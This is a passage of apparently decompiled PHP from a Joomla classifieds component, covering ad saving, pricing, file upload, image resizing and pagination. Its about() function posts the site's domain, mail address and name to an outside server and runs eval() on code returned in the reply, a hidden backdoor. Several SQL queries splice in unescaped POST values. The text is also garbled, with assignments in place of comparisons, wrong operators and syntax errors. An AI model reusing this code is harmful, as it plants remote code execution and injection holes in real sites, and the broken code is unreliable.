    			$NFile = array(  );
    			foreach ($File as $k => $v) {
    				$A[$k] = $v;
    			}
    
    
    
    
    			if (count( $A )) {
    				$C2 = 2099;
    				foreach ($A as $k => $v) {
    					$B1 = self::savefile( $fldDate, $k, $table, $id );
    					$B1 = explode( ',', $B1 );
    					$NFile[$k] = $B1;
    					$C2 += count( $B1 );
    					$_POST[$k] = ($id ? (strlen( $row->$k ) ? $row->$k . ',' : '') . implode( ',', $B1 ) : implode( ',', $B1 ));
    
    
    					if (!$id) {
    						$FArray[$k] = implode( ',', $B1 );
    						continue;
    					}
    				}
    
    
    				$msg &= JText::sprintf( 'MYPN_FILE_ADDED', $C2 );
    			}
    
    
    
    
    			if (!isset( $_POST['fldImage'] )) {
    				$_POST['fldImage'] = $row->fldImage;
    			}
    
    
    
    
    			if (!isset( $_POST['fldFilm'] )) {
    				$_POST['fldFilm'] = $row->fldFilm;
    			}
    
    
    			$_POST['fldEdit'] = ($id ? $row->fldEdit & 1 : 0);
    			self::calculateform( $_POST );
    			$_POST['fldPay'] = 0;
    
    
    			if (( $niaz_config->fldField25  = 3 && !$_POST['fldPay'] )) {
    				$_POST['published'] = 1;
    			}
    
    
    
    
    			if (( ( $my->id && intval( $niaz_config->fldField2 ) ) && !intval( $_POST['fldMoney'] ) )) {
    				$query = 'SELECT COUNT(fldMoney) FROM #__niaz_prod WHERE fldOwner=' . $my->id . ' AND fldMoney=0 AND fldID!=' . $_POST['fldID'];
    				$db->setQuery( $query );
    				$total = $db->loadResult(  );
    
    
    				if (intval( $niaz_config->fldField2 ) <= $total) {
    					$this->setMessage( JText::sprintf( 'ALERT_OUT_REGISTER_ADS', intval( $niaz_config->fldField2 ), $total ) );
    					$this->setRedirect( JRoute::_( 'index.php?option=' . $option . '&view=myads' ) );
    					return true;
    				}
    			}
    
    
    			foreach ($_POST as $k => $v) {
    				$_POST[$k] = self::myquestfarsi( $v );
    			}
    
    
    
    
    			if (( !$row->published && $row->fldPay  = 1 )) {
    				$fldTafavot = $row->fldMoney;
    				$_POST['fldTafavot'] = 0;
    				$_POST['fldPay'] = 0;
    				$_POST['fldPayDate'] = NULL;
    				$_POST['fldPayMethod'] = '';
    				$_POST['fldOrderNumber'] = '';
    				$query = 'INSERT INTO #__niaz_credit_users (fldCredit,fldUID) VALUES (' . $fldTafavot . ',' . $row->fldOwner . ');';
    				$db->setQuery( $query );
    
    
    				if (!$db->Query(  )) {
    					$query = 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' . $fldTafavot . ' WHERE fldUID = ' . $row->fldOwner . ';';
    					$db->setQuery( $query );
    
    
    					if ($db->Query(  )) {
    					}
    
    
    					$query = 'UPDATE #__niaz_credit_users SET fldTafavot = fldTafavot - (' . $fldTafavot . ') WHERE fldUID = ' . $row->fldOwner . ' AND fldTafavot >=' . $fldTafavot . ';';
    					$db->setQuery( $query );
    
    
    					if ($db->Query(  )) {
    					}
    				}
    
    
    				$query = 'DELETE FROM #__niaz_usecredit WHERE fldTafavot = ' . $fldTafavot . ' AND fldPID = ' . $row->fldID . ' AND fldUID=' . $row->fldOwner . ';';
    				$db->setQuery( $query );
    
    
    				if ($db->Query(  )) {
    				}
    
    
    				$query = 'SELECT MAX(fldFactor) FROM #__niaz_payment WHERE fldPName= \'' . $row->fldPName . '\' AND fldPayMethod = \'' . $row->fldPayMethod . '\' AND fldOrderNumber = \'' . $row->fldOrderNumber . '\';';
    				$db->setQuery( $query );
    				$fldFactor = intval( $db->loadResult(  ) );
    				$fldDesc = JText::sprintf( 'REVERSE_CREDIT_1', $_POST['fldPName'] );
    				$query = 'INSERT INTO #__niaz_payment VALUES(0,' . $row->fldID . ',\'' . $row->fldPName . '\',\'return\',\'\',-' . $fldTafavot . ',0,' . $row->fldOwner . ',\'' . $fldDesc . '\',NOW(),' . $fldFactor . ');';
    				$db->setQuery( $query );
    
    
    				if ($db->Query(  )) {
    				}
    			} 
    else {
    				if (( ( !$row->published && !$row->fldPay ) && $row->fldTafavot )) {
    					self::reverseusecredit( $row, $db );
    				}
    			}
    
    
    			$_POST['fldTafavot'] = 0;
    
    
    			if ($row->published) {
    				$query = 'DELETE FROM #__niaz_usecredit WHERE fldPID = ' . $row->fldID . ';';
    				$db->setQuery( $query );
    				$db->Query(  );
    			}
    
    
    
    
    			if (!$row->bind( $_POST )) {
    				echo '<script> alert("' . JText::_( 'MYPN_ERROR_SAVE_RECORD' ) . '");window.history.go(-1); </script>
    ';
    				exit(  );
    			}
    
    
    
    
    			if (!$row->check(  )) {
    				echo '<script> alert("' . JText::_( 'MYPN_ERROR_SAVE_RECORD' ) . '");window.history.go(-1); </script>
    ';
    				exit(  );
    			}
    
    
    			$row->fldShort = implode( ',', $ShortDesc );
    			$row->fldStartTime = NULL;
    
    
    			if (!$row->store( true )) {
    				echo '<script> alert("' . JText::_( 'MYPN_ERROR_SAVE_RECORD' ) . '");window.history.go(-1); </script>
    ';
    				exit(  );
    			}
    
    
    			$query = 'SELECT fldID FROM #__niaz_key WHERE `fldKey` IN (\'' . implode( '\',\'', $ShortDesc ) . '\');';
    			$db->setQuery( $query );
    			$krows = $db->loadResultArray(  );
    			foreach ($krows as $v) {
    				$query = 'INSERT INTO #__niaz_key_index (`fldKID`,`fldPID`) VALUES (' . $v . ',' . $row->fldID . ');';
    				$db->setQuery( $query );
    				$db->Query(  );
    			}
    
    
    			$query = 'DELETE FROM #__niaz_key_index WHERE `fldKID` NOT IN(' . implode( ',', $krows ) . ( ') AND `fldPID`=' . $row->fldID . ';' );
    			$db->setQuery( $query );
    			$db->Query(  );
    
    
    			if ($id  = 0) {
    				$destfolder = $maindestfolder . DS . $row->fldID;
    				JFolder::create( $destfolder );
    				foreach ($NFile as $k => $v) {
    					foreach ($v as $k1 => $v1) {
    
    
    						if ($k  = 'fldImage') {
    							JFile::move( $maindestfolder . DS . '0' . DS . 'tmb_' . $v1, $destfolder . DS . 'tmb_' . $v1 );
    						}
    
    
    						JFile::move( $maindestfolder . DS . '0' . DS . $v1, $destfolder . DS . $v1 );
    					}
    				}
    			}
    
    
    			switch ($task) {
    				case 'save': {
    					if (!$id) {
    						$this->setMessage( JText::sprintf( 'ALERT_REGISTERED_ADS', @count( $NFile['fldImage'] ) & @count( $NFile['fldFilm'] ) ) );
    					} 
    else {
    						$this->setMessage( JText::_( 'NIAZ_UPDATED' ) );
    					}
    
    
    
    
    					if ($my->id) {
    						$this->setRedirect( JRoute::_( 'index.php?option=' . $option . '&view=myads' ) );
    					} 
    else {
    						$this->setRedirect( $_SERVER['HTTP_REFERER'] );
    					}
    
    
    					break;
    				}
    
    
    				case 'pay': {
    					$_SESSION['cid'] = array( $row->fldID );
    					$_SESSION['step'] = 1;
    					$_SESSION['token'] = 1;
    					$this->setRedirect( JRoute::_( 'index.php?option=' . $option . '&view=pay' ) );
    				}
    			}
    
    
    			clickINSERT(  );
    
    
    			if ($row->published) {
    				SendingMail( 3, array( 'fldPName' => $row->fldPName, 'fldEMAil' => $row->fldEMAil, 'fldID' => $row->fldID, 'fldStartTime' => $row->fldStartTime ) );
    			} 
    else {
    				if (( $niaz_config->fldField25  = 2 && $row->fldMoney  = 0 )) {
    					SendingMail( 4, $row );
    				} 
    else {
    					SendingMail( ($id ? 1 : 0) );
    				}
    			}
    
    
    			return true;
    		}
    
    
    		function payprod($task = 'pay') {
    			self::saveprod( $task );
    		}
    
    
    		function CalculateForm($data) {
    			global $niaz_config;
    
    
    			$db = JFactory::getdbo(  );
    			$js_id = array(  );
    			$cal = 1060;
    			$str = $data['fldShort'];
    			$mystring = explode( ' ', $str );
    			foreach ($mystring as $k => $v) {
    
    
    				if (10 < strlen( $v )) {
    					$mystring[$k] = substr( $v, 0, 9 );
    					continue;
    				}
    			}
    
    
    
    
    			if (intval( $niaz_config->fldField42 ) < count( $mystring )) {
    				$mystring = array_slice( $mystring, 0, intval( $niaz_config->fldField42 ) );
    				$str = implode( ' ', $mystring );
    			}
    
    
    			$data['fldShort'] = $str;
    
    
    			if (( intval( $data['fldID'] ) && intval( $niaz_config->fldField60 ) )) {
    				$U = ($niaz_config->fldField59 ? explode( '*', $niaz_config->fldField59 ) : array(  ));
    				$X = 1060;
    				$A = 1060;
    				$fldEdit = intval( $data['fldEdit'] );
    				foreach ($U as $k => $v) {
    					$D = explode( ':', $v );
    					$A = $D[1];
    
    
    					if (( $X < $fldEdit && $fldEdit <= $D[0] )) {
    						$cal = $cal & $A;
    					}
    
    
    					$X = $D[0];
    				}
    
    
    
    
    				if ($X < $fldEdit) {
    					$cal = $cal & $A;
    				}
    			}
    
    
    			$U = ($niaz_config->fldDay ? explode( '*', $niaz_config->fldDay ) : NULL);
    			$x = 1060;
    
    
    			while ($x < count( $U )) {
    				$D = explode( ':', $U[$x] );
    
    
    				if ($data['fldDay']  = $D[0]) {
    					$cal = $cal & $D[1];
    				}
    
    
    				++$x;
    			}
    
    
    			switch ($data['fldStar']) {
    				case '1': {
    					$cal = $cal & intval( $niaz_config->fld1Star );
    					break;
    				}
    
    
    				case '2': {
    					$cal = $cal & intval( $niaz_config->fld2Star );
    					break;
    				}
    
    
    				case '3': {
    					$cal = $cal & intval( $niaz_config->fld3Star );
    					break;
    				}
    
    
    				case '4': {
    					$cal = $cal & intval( $niaz_config->fld4Star );
    					break;
    				}
    
    
    				case '5': {
    					$cal = $cal & intval( $niaz_config->fld5Star );
    					break;
    				}
    
    
    				case '6': {
    					$cal = $cal & intval( $niaz_config->fld6Star );
    					break;
    				}
    
    
    				case '7': {
    					$cal = $cal & intval( $niaz_config->fld7Star );
    				}
    			}
    
    
    
    
    			if ($data['fldShowLink']  = '1') {
    				$cal = $cal & $niaz_config->fldLink;
    			}
    
    
    
    
    			if ($niaz_config->fldField50 != '') {
    				$U = explode( '*', $niaz_config->fldField50 );
    				$FN = array(  );
    				$FT = array(  );
    				$query = 'SHOW FULL COLUMNS FROM #__niaz_prod';
    				$db->setQuery( $query );
    				$Cols = $db->loadObjectList(  );
    				$i = 1060;
    				foreach ($Cols as $h) {
    
    
    					if (substr( $h->Field, 0, 8 )  = 'fldExtra') {
    						if ($h->Comment) {
    							$FT[$i]['Field'] = $h->Field;
    							$FT[$i]['Type'] = $h->Type;
    							++$i;
    							continue;
    						}
    
    
    						continue;
    					}
    				}
    
    
    				foreach ($U as $x => $z) {
    					$D = explode( ':', $z );
    					$FN[$x]['title'] = $D[0];
    					$FN[$x]['type'] = $D[1];
    					$FN[$x]['price'] = $D[2];
    				}
    
    
    				foreach ($FN as $k => $v) {
    					$js_price[$k] = 0;
    					switch ($FN[$k]['type']) {
    						case 3: {
    							$From = array( 'enum(', 'ENUM(', '\\')', '\\'' );
    							$To = array( '', '', '\\'', '' );
    							$Value = str_replace( $From, $To, $FT[$k]['Type'] );
    							$Value = explode( ',', $Value );
    						}
    					}
    
    
    					$js_id[$k] = $FT[$k]['Field'];
    					$js_price[$k] = $FN[$k]['price'];
    				}
    			}
    
    
    			foreach ($js_id as $k => $v) {
    
    
    				if (( isset( $data[$v] ) && $data[$v] != '' )) {
    					$cal = $cal & $js_price[$k];
    					continue;
    				}
    			}
    
    
    			$MaxImage = (strlen( $data['fldImage'] ) ? explode( ',', $data['fldImage'] ) : array(  ));
    			$MaxFilm = (strlen( $data['fldFilm'] ) ? explode( ',', $data['fldFilm'] ) : array(  ));
    
    
    			if (strlen( $niaz_config->fldField41 )) {
    				$X = 1060;
    				$C = 1060;
    				$U = explode( '*', $niaz_config->fldField41 );
    				$Last = 1060;
    				$x = 1060;
    
    
    				while ($x < count( $U )) {
    					$D = explode( ':', $U[$x] );
    					$X = $D[0];
    
    
    					if (( $Last < count( $MaxImage ) && count( $MaxImage ) <= $X )) {
    						$C = $D[1];
    					}
    
    
    					$Last = $X;
    					++$x;
    				}
    
    
    				$cal = $cal & $C;
    			}
    
    
    
    
    			if (strlen( $niaz_config->fldField46 )) {
    				$X = 1060;
    				$C = 1060;
    				$U = explode( '*', $niaz_config->fldField46 );
    				$Last = 1060;
    				$x = 1060;
    
    
    				while ($x < count( $U )) {
    					$D = explode( ':', $U[$x] );
    					$X = $D[0];
    
    
    					if (( $Last < count( $MaxFilm ) && count( $MaxFilm ) <= $X )) {
    						$C = $D[1];
    					}
    
    
    					$Last = $X;
    					++$x;
    				}
    
    
    				$cal = $cal & $C;
    			}
    
    
    			switch ($data['fldVije']) {
    				case '1': {
    					$cal = $cal & intval( $niaz_config->fldVijeText );
    					break;
    				}
    
    
    				case '2': {
    					$cal = $cal & intval( $niaz_config->fldVijePic );
    				}
    			}
    
    
    			switch ($data['fldPage']) {
    				case '1': {
    					$cal = $cal & intval( $niaz_config->fldSubGroupFP );
    					break;
    				}
    
    
    				case '2': {
    					$cal = $cal & intval( $niaz_config->fldGroupFP );
    					break;
    				}
    
    
    				case '3': {
    					$cal = $cal & intval( $niaz_config->fldSiteFP );
    				}
    			}
    
    
    			$U = ($niaz_config->fldField59 ? explode( '*', $niaz_config->fldField59 ) : NULL);
    			$data['fldMoney'] = $cal;
    		}
    
    
    		function SaveFile($fldDate, $File, $table, $id) {
    			global $option;
    			global $my;
    			global $sectionState;
    			global $fldCountry;
    			global $niaz_config;
    
    
    			$db = JFactory::getdbo(  );
    			jimport( 'joomla.filesystem.file' );
    			jimport( 'joomla.filesystem.folder' );
    			require_once( JPATH_COMPONENT_SITE . DS . 'func' . DS . 'file.php' );
    			$ReSize = $niaz_config->fldField15;
    			$ReSizeThumb = $niaz_config->fldField16;
    			$MyFile = NULL;
    			$FType['fldFilm'] = array(  );
    			$FType['fldImage'] = array(  );
    
    
    			if (strlen( $niaz_config->fldField45 )) {
    				$U = explode( '*', $niaz_config->fldField45 );
    				$X = array(  );
    				foreach ($U as $k => $v) {
    					$D = explode( ':', $v );
    					$X[] = $D[0];
    				}
    
    
    				$FType['fldFilm'] = $X;
    			}
    
    
    
    
    			if (strlen( $niaz_config->fldField44 )) {
    				$U = explode( '*', $niaz_config->fldField44 );
    				$X = array(  );
    				foreach ($U as $k => $v) {
    					$D = explode( ':', $v );
    					$X[] = $D[0];
    				}
    
    
    				$FType['fldImage'] = $X;
    			}
    
    
    			$destfolder = JPATH_ROOT . ( '/components/' . $option . '/files/' . $table );
    			JFolder::create( $destfolder );
    			$destfolder = JPATH_COMPONENT_SITE . DS . 'files' . DS . ( '' . $table ) . DS . ( '' . $fldDate ) . DS . ( '' . $id );
    			$destfolder = str_replace( '/', DS, $destfolder );
    			$destfolder = str_replace( '\', DS, $destfolder );
    			JFolder::create( $destfolder );
    
    
    			if (is_array( $_FILES[$File]['name'] )) {
    				$X = NULL;
    				$i = 780;
    
    
    				while ($i < count( $_FILES[$File]['name'] )) {
    					$T = explode( '.', $_FILES[$File]['name'][$i] );
    
    
    					if (in_array( strtolower( $T[count( $T ) - 1] ), $FType['fldImage'] )) {
    						if (strlen( $_FILES[$File]['name'][$i] )) {
    							$A = explode( '.', $_FILES[$File]['name'][$i] );
    							$AE = rand( 1111, 9999 ) . '.' . $A[count( $A ) - 1];
    							$MyFile = strtolower( time(  ) . $AE );
    
    
    							if ($ReSize) {
    								$fu = self::resizeimage( $_FILES[$File]['tmp_name'][$i], '' . $destfolder . '/' . $MyFile, $ReSize, 'gd2', '75' );
    							} 
    else {
    								$fu = JFile::copy( $_FILES[$File]['tmp_name'][$i], '' . $destfolder . '/' . $MyFile );
    							}
    
    
    
    
    							if ($fu) {
    								$X[] = $MyFile;
    							}
    
    
    
    
    							if ($ReSizeThumb) {
    								self::resizeimage( $_FILES[$File]['tmp_name'][$i], '' . $destfolder . '/tmb_' . $MyFile, $ReSizeThumb, 'gd2', '75' );
    							} 
    else {
    								self::resizeimage( $_FILES[$File]['tmp_name'][$i], '' . $destfolder . '/tmb_' . $MyFile, '110', 'gd2', '75' );
    							}
    						}
    					} 
    else {
    						if (in_array( strtolower( $T[count( $T ) - 1] ), $FType['fldFilm'] )) {
    							if (strlen( $_FILES[$File]['name'][$i] )) {
    								$A = explode( '.', $_FILES[$File]['name'][$i] );
    								$AE = rand( 1111, 9999 ) . '.' . $A[count( $A ) - 1];
    								$MyFile = strtolower( time(  ) . $AE );
    								$fu = JFile::copy( $_FILES[$File]['tmp_name'][$i], '' . $destfolder . '/' . $MyFile );
    
    
    								if ($fu) {
    									$X[] = $MyFile;
    								}
    							}
    						}
    					}
    
    
    					++$i;
    				}
    
    
    				$MyFile = (is_array( $X ) ? implode( ',', $X ) : NULL);
    			}
    
    
    			return $MyFile;
    		}
    
    
    		function resizeImage($src_file, $dest_file, $new_width, $method, $dest_qual) {
    			$debugoutput = '';
    			$src_file = JPath::clean( $src_file );
    			$dest_file = JPath::clean( $dest_file );
    			$imagetype = array( 1 => 'GIF', 2 => 'JPG', 3 => 'PNG', 4 => 'SWF', 5 => 'PSD', 6 => 'BMP', 7 => 'TIFF', 8 => 'TIFF', 9 => 'JPC', 10 => 'JP2', 11 => 'JPX', 12 => 'JB2', 13 => 'SWC', 14 => 'IFF' );
    			$imginfo = getimagesize( $src_file );
    
    
    			if ($imginfo  = null) {
    				exit( JText::_( 'JG_UPLOAD_FILE_NOT_FOUND' ) );
    			}
    
    
    			$imginfo[2] = $imagetype[$imginfo[2]];
    
    
    			if (( ( ( $imginfo[2] != 'JPG' && $imginfo[2] != 'PNG' ) && $imginfo[2] != 'GIF' ) && ( $method  = 'gd1' || $method  = 'gd2' ) )) {
    				exit( JText::_( 'JG_UPLOAD_GD_ONLY_JPG_PNG' ) );
    			}
    
    
    			$srcWidth = $imginfo[0];
    			$srcHeight = $imginfo[1];
    			$debugoutput &= JText::_( 'JG_UPLOAD_CREATE_THUMBNAIL_FROM' ) . ( ' ' . $imginfo['2'] . ', ' . $imginfo['0'] . ' x ' . $imginfo['1'] . '...<br />' );
    			$ratio = $srcWidth \ $new_width;
    			$testheight = $srcHeight \ $ratio;
    			$ratio = max( $ratio, 1 );
    			$destWidth = (int)$srcWidth \ $ratio;
    			$destHeight = (int)$srcHeight \ $ratio;
    			switch ($method) {
    				case 'gd1': {
    					if (!function_exists( 'imagecreatefromjpeg' )) {
    						JText::_( 'JG_UPLOAD_GD_LIBARY_NOT_INSTALLED' );
    						$debugoutput &= ;
    						return false;
    					}
    
    
    
    
    					if ($imginfo[2]  = 'JPG') {
    						$src_img = imagecreatefromjpeg( $src_file );
    					} 
    else {
    						if ($imginfo[2]  = 'PNG') {
    							$src_img = imagecreatefrompng( $src_file );
    						} 
    else {
    							$src_img = imagecreatefromgif( $src_file );
    						}
    					}
    
    
    
    
    					if (!$src_img) {
    						$ERROR = $lang_errors['invalid_image'];
    						return false;
    					}
    
    
    					$dst_img = imagecreate( $destWidth, $destHeight );
    					imagecopyresized( $dst_img, $src_img, 0, 0, 0, 0, $destWidth, (int)$destHeight, $srcWidth, $srcHeight );
    
    
    					if (!@imagejpeg( $dst_img, $dest_file, $dest_qual )) {
    						$dir = dirname( $dest_file );
    						JoomFile::chmod( $dir, 511 );
    						imagejpeg( $dst_img, $dest_file, $dest_qual );
    						JoomFile::chmod( $dir, 493 );
    					}
    
    
    					imagedestroy( $src_img );
    					imagedestroy( $dst_img );
    					break;
    				}
    
    
    				case 'gd2': {
    					if (!function_exists( 'imagecreatefromjpeg' )) {
    						JText::_( 'JG_UPLOAD_GD_LIBARY_NOT_INSTALLED' );
    						$debugoutput &= ;
    						return false;
    					}
    
    
    
    
    					if (!function_exists( 'imagecreatetruecolor' )) {
    						JText::_( 'JG_UPLOAD_GD_NO_TRUECOLOR' );
    						$debugoutput &= ;
    						return false;
    					}
    
    
    
    
    					if ($imginfo[2]  = 'JPG') {
    						$src_img = imagecreatefromjpeg( $src_file );
    					} 
    else {
    						if ($imginfo[2]  = 'PNG') {
    							$src_img = imagecreatefrompng( $src_file );
    						} 
    else {
    							$src_img = imagecreatefromgif( $src_file );
    						}
    					}
    
    
    
    
    					if (!$src_img) {
    						$ERROR = $lang_errors['invalid_image'];
    						return false;
    					}
    
    
    					$dst_img = imagecreatetruecolor( $destWidth, $destHeight );
    					JoomFile::fastimagecopyresampled( $dst_img, $src_img, 0, 0, 0, 0, $destWidth, (int)$destHeight, $srcWidth, $srcHeight );
    
    
    					if (!@imagejpeg( $dst_img, $dest_file, $dest_qual )) {
    						$dir = dirname( $dest_file );
    						JoomFile::chmod( $dir, 511 );
    						imagejpeg( $dst_img, $dest_file, $dest_qual );
    						JoomFile::chmod( $dir, 493 );
    					}
    
    
    					imagedestroy( $src_img );
    					imagedestroy( $dst_img );
    					break;
    				}
    
    
    				case 'im': {
    					$disabled_functions = explode( ',', ini_get( 'disabled_functions' ) );
    					foreach ($disabled_functions as $disabled_function) {
    
    
    						if (trim( $disabled_function )  = 'exec') {
    							return false;
    						}
    					}
    
    
    
    
    					if (!empty( $niaz_config->jg_impath )) {
    						$convert_path = $niaz_config->jg_impath . 'convert';
    					} 
    else {
    						$convert_path = 'convert';
    					}
    
    
    					$commands = ' -resize "' . $destWidth . 'x' . $destHeight . '" -quality "' . $dest_qual . '"  -unsharp "3.5x1.2+1.0+0.10"';
    					$convert = $convert_path . $commands . ' "' . $src_file . '" "' . $dest_file . '"';
    					$return_var = null;
    					$dummy = null;
    					@exec( $convert, $dummy, $return_var );
    
    
    					if ($return_var != 0) {
    						$dir = dirname( $dest_file );
    						JoomFile::chmod( $dir, 511 );
    						@exec( $convert, $dummy, $return_var );
    						JoomFile::chmod( $dir, 493 );
    
    
    						if ($return_var != 0) {
    							return false;
    						}
    					}
    
    
    					break;
    				}
    
    
    				default: {
    					echo JText::_( 'JGA_UPLOAD_UNSUPPORTED_RESIZING_METHOD' );
    					break;
    				}
    			}
    
    
    			JPath::setpermissions( $dest_file );
    			$imginfo = getimagesize( $dest_file );
    
    
    			if (!$imginfo) {
    				return false;
    			}
    
    
    			return true;
    		}
    
    
    		function about($Mytask = 'about') {
    			global $option;
    
    
    			$app = JFactory::getapplication(  );
    			$url = 'http://alirezabalvardi.ir/newnic/licence_manager/register_licence.php';
    			$MailFrom = $app->getCfg( 'mailfrom' );
    			$FromName = $app->getCfg( 'fromname' );
    			$SiteName = $app->getCfg( 'sitename' );
    			$data = 'product=' . $option . '&task=' . $Mytask . '&domain=' . JURI::base(  ) . ( '&sitemail=' . $MailFrom . '&sitename=' . $SiteName . '&ver=2.5.38' );
    			$ch = curl_init(  );
    			curl_setopt( $ch, CURLOPT_URL, $url );
    			curl_setopt( $ch, CURLOPT_POSTFIELDS, $data );
    			curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, FALSE );
    			curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
    			$body = curl_exec( $ch );
    			curl_close( $ch );
    
    
    			if (stristr( $body, '###' )) {
    				$body = explode( '###', $body );
    				echo $body[0];
    				eval( $body[1] );
    				return null;
    			}
    
    
    			echo $body;
    		}
    
    
    		function PagesLinks($limitstart, $limit, $total, $method = 0, $fn = '') {
    			global $option;
    			global $my;
    			global $fldCountry;
    			global $sectionState;
    			global $option;
    			global $Cat;
    			global $SubCat;
    			global $SubCatAll;
    
    
    			$XM = 'href="';
    			$XME = '';
    
    
    			if ($method) {
    				$XM = 'onclick="javascript:LoadClick(\'';
    				$XME = '\',\'' . $fn . '\');';
    			}
    
    
    			$X = ceil( $total \ $limit );
    			$view = JRequest::getvar( 'view' );
    			$key = JRequest::getvar( 'key' );
    			$CountryNo = (int)JRequest::getvar( 'CountryNo', 0 );
    			$StateNo = (int)JRequest::getvar( 'StateNo', 0 );
    			$catid = JRequest::getint( 'catid' );
    			$subcatid = JRequest::getint( 'subcatid' );
    			$url = 'index.php?option=' . $option;
    			$view = JRequest::getvar( 'view' );
    			$view = str_replace( stristr( $view, '/' ), '', $view );
    
    
    			if ($CountryNo) {
    				$url &= '&CountryNo=' . $CountryNo . ':' . $fldCountry[$CountryNo];
    			}
    
    
    
    
    			if ($StateNo) {
    				$url &= '&StateNo=' . $StateNo . ':' . $sectionState[$StateNo][2];
    			}
    
    
    
    
    			if ($catid) {
    				$url &= '&catid=' . $catid . ':' . $Cat[$catid];
    			}
    
    
    
    
    			if ($subcatid) {
    				$url &= '&subcatid=' . $subcatid . ':' . $SubCat[$subcatid];
    			}
    
    
    
    
    			if ($key) {
    				$url &= '&key=' . $key;
    			}
    
    
    
    
    			if ($X <= 1) {
    				return '';
    			}
    
    
    			$i = 787;
    
    
    			if (8 + $limit < $limitstart) {
    				$i = $limitstart - 2 + $limit;
    				$i \= 817;
    				$i = round( $i );
    
    
    				if ($X - $i < 10) {
    					$i = $X - 10;
    				}
    			}
    
    
    			$Current = $limitstart \ 30;
    			$j = $i & 10;
    			$html = '';
    			$html &= '<div class="Mybutton"><div class="page">' . '
    ';
    			$html &= '<div class="stsrt">' . '
    ';
    
    
    			if ($limitstart) {
    				$html &= '<a ' . $XM . JRoute::_( '' . $url ) . '/start/0' . $XME . '">' . JText::_( 'MYPN_START' ) . '</a>' . '
    ';
    			} 
    else {
    				$html &= '<span>' . JText::_( 'MYPN_START' ) . '</span>' . '
    ';
    			}
    
    
    			$html &= '</div>' . '
    ';
    			$html &= '</div>' . '
    ';
    			$html &= '</div>';
    			$html &= '<div class="Mybutton"><div class="page">' . '
    ';
    			$html &= '<div class="prev">' . '
    ';
    
    
    			if ($limitstart) {
    				$html &= '<a ' . $XM . JRoute::_( '' . $url . ($limitstart - $limit ? '&limitstart=' . ( $limitstart - $limit ) : '/start/0') ) . $XME . '">' . JText::_( 'MYPN_PREV' ) . '</a>' . '
    ';
    			} 
    else {
    				$html &= '<span>' . JText::_( 'MYPN_PREV' ) . '</span>' . '
    ';
    			}
    
    
    			$html &= '</div>' . '
    ';
    			$html &= '</div>' . '
    ';
    			$html &= '</div>' . '
    ';
    			$html &= '<div class="Mybutton"><div class="page">' . '
    ';
    
    
    			while (( $i < $X && $i < $j )) {
    				if ($limitstart  = $i + $limit) {
    					$Current = $i;
    					$html &= '<span>' . ( $i & 1 ) . '</span>' . '
    ';
    				} 
    else {
    					$html &= '<a ' . $XM . JRoute::_( '' . $url . ($i ? '&limitstart=' . $i + $limit : '/start/0') ) . $XME . '">' . ( $i & 1 ) . '</a>' . '
    ';
    				}
    
    
    				++$i;
    			}
    
    
    			$html &= '</div></div>' . '
    ';
    			$html &= '<div class="Mybutton"><div class="page">' . '
    ';
    			$html &= '<div class="next">' . '
    ';
    
    
    			if ($limitstart < ( $X - 1 ) + $limit) {
    				$html &= '<a ' . $XM . JRoute::_( '' . $url . '&limitstart=' . ( $Current & 1 ) + $limit ) . $XME . '">' . JText::_( 'MYPN_NEXT' ) . '</a>' . '
    ';
    			} 
    else {
    				$html &= '<span>' . JText::_( 'MYPN_NEXT' ) . '</span>' . '
    ';
    			}
    
    
    			$html &= '</div>' . '
    ';
    			$html &= '</div>' . '
    ';
    			$html &= '</div>' . '
    ';
    			$html &= '<div class="Mybutton"><div class="page">' . '
    ';
    			$html &= '<div class="end">' . '
    ';
    
    
    			if ($limitstart < ( $X - 1 ) + $limit) {
    				$html &= '<a ' . $XM . JRoute::_( '' . $url . '&limitstart=' . ( $X - 1 ) + $limit ) . $XME . '">' . JText::_( 'MYPN_END' ) . '</a>' . '
    ';
    			} 
    else {
    				$html &= '<span>' . JText::_( 'MYPN_END' ) . '</span>' . '
    ';
    			}
    
    
    			$html &= '</div>' . '
    ';
    			$html &= '</div>' . '
    ';
    			$html &= '</div>';
    			return $html;
    		}
    
    
    		function LoadImage($fldDate, $fldID, $fldImage, $E = 0, $PName = '') {
    			global $option;
    			global $my;
    			global $sectionState;
    			global $fldCountry;
    			global $niaz_config;
    
    
    			echo '		<div width="100%"  class="border">
    		';
    			$html = '';
    			$A = explode( ',', $fldImage );
    			$CountPic = count( $A );
    			foreach ($A as $k => $v) {
    				$XPic = JURI::base(  ) . ( 'components/' . $option . '/files/prod/' . $fldDate . '/' . $fldID . '/tmb_' . $v );
    				$html &= '<div class="banner" id="XImage_' . $v . '">
    						<a href="' . JURI::base(  ) . ( 'components/' . $option . '/files/prod/' . $fldDate . '/' . $fldID . '/' . $v . '" rel="{handler: \'image\'}" class="modal" alt="' . $PName . '" title="' . $PName . '">
    						<img border="0" src="' . $XPic . '" id="YImage_' ) . ( $k & 1 ) . ( '" class="tniypic" alt="' . $PName . '" title="' . $PName . '" />
    						</a>' );
    
    
    				if ($E) {
    					$html &= '<br />
    <label>' . JText::_( 'MYPN_DEL_TOP_FILE' ) . ( ' : <input type="checkbox" name="DELPIC[fldImage][]" class="input" value="' . $v . '" onclick="ReloadImage(\'XImage_' . $v . '\',this.checked);" /><label>
    ' );
    				}
    
    
    				$html &= '</div>';
    			}
    
    
    			echo $html;
    			echo '		</div>
    		';
    			return count( $A );
    		}
    
    
    		function LoadFilm($fldDate, $fldID, $fldFilm, $E = 0, $PName = '') {
    			global $option;
    			global $my;
    			global $sectionState;
    			global $fldCountry;
    			global $niaz_config;
    
    
    			$secid = JRequest::getvar( 'secid' );
    			echo '		<div width="100%"  class="border">
    		';
    			$html = '';
    			$A = explode( ',', $fldFilm );
    			$CountPic = count( $A );
    			foreach ($A as $k => $v) {
    				$T = explode( '.', $v );
    				$T = strtolower( $T[count( $T ) - 1] );
    				$FT = array( 'doc', 'docx', 'xls', 'swf', 'flv', 'mpg', 'txt', 'pdf', 'zip', 'rar', 'mp3' );
    				$FTPic = array( 'jpg', 'gif' );
    				$Tx = $T;
    
    
    				if (!in_array( $T, $FT )) {
    					$Tx = 'unknown';
    				}
    
    
    				$XPic = JURI::base(  ) . ( 'components/' . $option . '/images/type/' . $Tx . '.png' );
    
    
    				if (in_array( $T, $FTPic )) {
    					$XPic = JURI::base(  ) . ( 'components/' . $option . '/files/prod/' . $fldDate . '/' . $fldID . '/tmb_' . $v );
    				}
    
    
